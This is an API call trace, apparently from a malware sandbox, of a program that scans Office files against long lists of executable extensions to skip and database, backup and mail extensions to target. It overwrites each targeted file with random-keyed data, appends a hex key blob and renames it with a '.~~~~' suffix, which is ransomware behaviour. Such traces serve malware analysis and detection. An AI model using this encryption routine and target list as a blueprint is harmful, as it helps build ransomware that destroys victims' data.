	[0134.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0134.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.461] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.461] GetLastError () returned 0x0
	[0134.461] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.461] GetLastError () returned 0x0
	[0134.466] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.466] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.468] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.468] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.470] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.470] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.470] CloseHandle (hObject=0xc4) returned 1
	[0134.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0134.470] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.~~~~")) returned 1
	[0134.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8db0 | out: hHeap=0x300000) returned 1
	[0134.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.473] GetLastError () returned 0x0
	[0134.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".scr") returned 0x0
	[0134.473] lstrlenW (lpString=".cmd") returned 4
	[0134.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".cmd") returned 0x0
	[0134.473] lstrlenW (lpString=".dll") returned 4
	[0134.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dll") returned 0x0
	[0134.473] lstrlenW (lpString=".bat") returned 4
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".bat") returned 0x0
	[0134.474] lstrlenW (lpString=".cpl") returned 4
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".cpl") returned 0x0
	[0134.474] lstrlenW (lpString=".sys") returned 4
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".sys") returned 0x0
	[0134.474] lstrlenW (lpString=".msc") returned 4
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".msc") returned 0x0
	[0134.474] lstrlenW (lpString=".com") returned 4
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".com") returned 0x0
	[0134.474] lstrlenW (lpString=".lnk") returned 4
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".lnk") returned 0x0
	[0134.474] lstrlenW (lpString=".msp") returned 4
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".msp") returned 0x0
	[0134.474] lstrlenW (lpString=".pif") returned 4
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".pif") returned 0x0
	[0134.474] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0134.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.476] lstrlenW (lpString=".sqb") returned 4
	[0134.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".sqb") returned 0x0
	[0134.476] lstrlenW (lpString=".ost") returned 4
	[0134.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".ost") returned 0x0
	[0134.476] lstrlenW (lpString=".txt") returned 4
	[0134.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".txt") returned 0x0
	[0134.476] lstrlenW (lpString=".mdt") returned 4
	[0134.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".mdt") returned 0x0
	[0134.476] lstrlenW (lpString=".BDB") returned 4
	[0134.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".BDB") returned 0x0
	[0134.476] lstrlenW (lpString=".eql") returned 4
	[0134.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".eql") returned 0x0
	[0134.476] lstrlenW (lpString=".DBF") returned 4
	[0134.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DBF") returned 0x0
	[0134.477] lstrlenW (lpString=".EQL") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".EQL") returned 0x0
	[0134.477] lstrlenW (lpString=".FDB") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".FDB") returned 0x0
	[0134.477] lstrlenW (lpString=".EDB") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".EDB") returned 0x0
	[0134.477] lstrlenW (lpString=".DACPAC") returned 7
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0134.477] lstrlenW (lpString=".VHD") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".VHD") returned 0x0
	[0134.477] lstrlenW (lpString=".DBV") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DBV") returned 0x0
	[0134.477] lstrlenW (lpString=".dacpac") returned 7
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0134.477] lstrlenW (lpString=".sdf") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".sdf") returned 0x0
	[0134.477] lstrlenW (lpString=".accdb") returned 6
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".accdb") returned 0x0
	[0134.477] lstrlenW (lpString=".DBX") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DBX") returned 0x0
	[0134.477] lstrlenW (lpString=".MDT") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".MDT") returned 0x0
	[0134.477] lstrlenW (lpString=".SQB") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".SQB") returned 0x0
	[0134.477] lstrlenW (lpString=".vhd") returned 4
	[0134.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".vhd") returned 0x0
	[0134.478] lstrlenW (lpString=".bac") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".bac") returned 0x0
	[0134.478] lstrlenW (lpString=".mdf") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".mdf") returned 0x0
	[0134.478] lstrlenW (lpString=".BAK") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".BAK") returned 0x0
	[0134.478] lstrlenW (lpString=".BAC") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".BAC") returned 0x0
	[0134.478] lstrlenW (lpString=".dbs") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dbs") returned 0x0
	[0134.478] lstrlenW (lpString=".vhdx") returned 5
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0134.478] lstrlenW (lpString=".NDF") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".NDF") returned 0x0
	[0134.478] lstrlenW (lpString=".dat") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dat") returned 0x0
	[0134.478] lstrlenW (lpString=".DBS") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DBS") returned 0x0
	[0134.478] lstrlenW (lpString=".CKP") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".CKP") returned 0x0
	[0134.478] lstrlenW (lpString=".edb") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".edb") returned 0x0
	[0134.478] lstrlenW (lpString=".PST") returned 4
	[0134.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".PST") returned 0x0
	[0134.479] lstrlenW (lpString=".dbf") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dbf") returned 0x0
	[0134.479] lstrlenW (lpString=".SQL") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".SQL") returned 0x0
	[0134.479] lstrlenW (lpString=".pst") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".pst") returned 0x0
	[0134.479] lstrlenW (lpString=".dbv") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dbv") returned 0x0
	[0134.479] lstrlenW (lpString=".SDF") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".SDF") returned 0x0
	[0134.479] lstrlenW (lpString=".dtxs") returned 5
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0134.479] lstrlenW (lpString=".db3") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".db3") returned 0x0
	[0134.479] lstrlenW (lpString=".OST") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".OST") returned 0x0
	[0134.479] lstrlenW (lpString=".dbx") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dbx") returned 0x0
	[0134.479] lstrlenW (lpString=".DB3") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DB3") returned 0x0
	[0134.479] lstrlenW (lpString=".DAT") returned 4
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DAT") returned 0x0
	[0134.479] lstrlenW (lpString=".VHDX") returned 5
	[0134.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0134.479] lstrlenW (lpString=".ndf") returned 4
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".ndf") returned 0x0
	[0134.480] lstrlenW (lpString=".DB") returned 3
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DB") returned 0x0
	[0134.480] lstrlenW (lpString=".sql") returned 4
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".sql") returned 0x0
	[0134.480] lstrlenW (lpString=".MYD") returned 4
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".MYD") returned 0x0
	[0134.480] lstrlenW (lpString=".DBT") returned 4
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DBT") returned 0x0
	[0134.480] lstrlenW (lpString=".ACCDB") returned 6
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0134.480] lstrlenW (lpString=".fdb") returned 4
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".fdb") returned 0x0
	[0134.480] lstrlenW (lpString=".bak") returned 4
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".bak") returned 0x0
	[0134.480] lstrlenW (lpString=".myd") returned 4
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".myd") returned 0x0
	[0134.480] lstrlenW (lpString=".DTXS") returned 5
	[0134.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0134.534] lstrlenW (lpString=".ckp") returned 4
	[0134.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".ckp") returned 0x0
	[0134.534] lstrlenW (lpString=".dbt") returned 4
	[0134.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".dbt") returned 0x0
	[0134.534] lstrlenW (lpString=".db") returned 3
	[0134.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".db") returned 0x0
	[0134.534] lstrlenW (lpString=".TXT") returned 4
	[0134.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".TXT") returned 0x0
	[0134.534] lstrlenW (lpString=".MDF") returned 4
	[0134.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".MDF") returned 0x0
	[0134.534] lstrlenW (lpString=".bdb") returned 4
	[0134.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".bdb") returned 0x0
	[0134.534] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.534] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0fb0) returned 1
	[0134.535] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.535] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0134.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.536] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25452571177) returned 1
	[0134.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9a1b270, dwHighDateTime=0x1d60e1e)) 
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cee0
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cee0 | out: hHeap=0x300000) returned 1
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a72f8
	[0134.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.536] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.537] GetLastError () returned 0x0
	[0134.537] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.537] GetLastError () returned 0x0
	[0134.539] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffd7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.539] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x281, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x281, lpOverlapped=0x0) returned 1
	[0134.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.539] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.539] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.540] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.540] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.540] CloseHandle (hObject=0xc4) returned 1
	[0134.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0134.540] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.~~~~")) returned 1
	[0134.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.543] GetLastError () returned 0x0
	[0134.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0134.543] lstrlenW (lpString=".cmd") returned 4
	[0134.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0134.543] lstrlenW (lpString=".dll") returned 4
	[0134.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0134.543] lstrlenW (lpString=".bat") returned 4
	[0134.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0134.543] lstrlenW (lpString=".cpl") returned 4
	[0134.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0134.543] lstrlenW (lpString=".sys") returned 4
	[0134.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0134.543] lstrlenW (lpString=".msc") returned 4
	[0134.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0134.544] lstrlenW (lpString=".com") returned 4
	[0134.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".com") returned 0x0
	[0134.544] lstrlenW (lpString=".lnk") returned 4
	[0134.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".lnk") returned 0x0
